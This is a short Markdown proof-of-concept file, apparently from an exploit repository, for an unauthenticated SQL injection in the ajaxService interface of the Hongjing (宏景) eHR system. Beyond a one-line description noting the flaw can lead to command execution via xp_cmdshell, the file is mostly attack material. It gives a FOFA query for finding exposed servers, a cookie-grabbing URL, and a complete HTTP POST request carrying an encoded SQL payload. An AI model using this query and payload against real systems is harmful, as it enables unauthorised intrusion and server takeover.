POC/wpoc/宏景OA/宏景eHR系统ajaxService接口处存在SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

30 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 宏景eHR系统ajaxService接口处存在SQL注入漏洞
宏景eHR /ajax/ajaxService 接口处存在SQL注入漏洞,未经身份验证的远程攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令从而控制服务器。经过分析与研判该漏洞利用难度低建议尽快修复。
## fofa
```yaml
body="hjaxmanage.js" && (body="/template/signature/encryptionlock/websocket.js" || body="/ajax/basic.js")
```
## poc
获取cookie payload
```yaml
/templates/index/getpassword.jsp
```
![效果图](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408062352731.png)
```yaml
POST /ajax/ajaxService HTTP/1.1
Host:
Cookie: 抓到的cookie
Content-Type: application/x-www-form-urlencoded
__type=extTrans&__xml={"functionId":"151211001137","sql":"select~20sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1'))~20a~30~31~30~30~2c~31~20a~30~31~30~31~2c~31~20b~30~31~31~30~2c~31~20e~30~31~32~32~2c~31~20e~30~31a~31~2c~31~20dbase~2c~31~20a~30~30~30~30~20from~20operuser","nbase":"1"}
```
![效果图](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408062351899.png)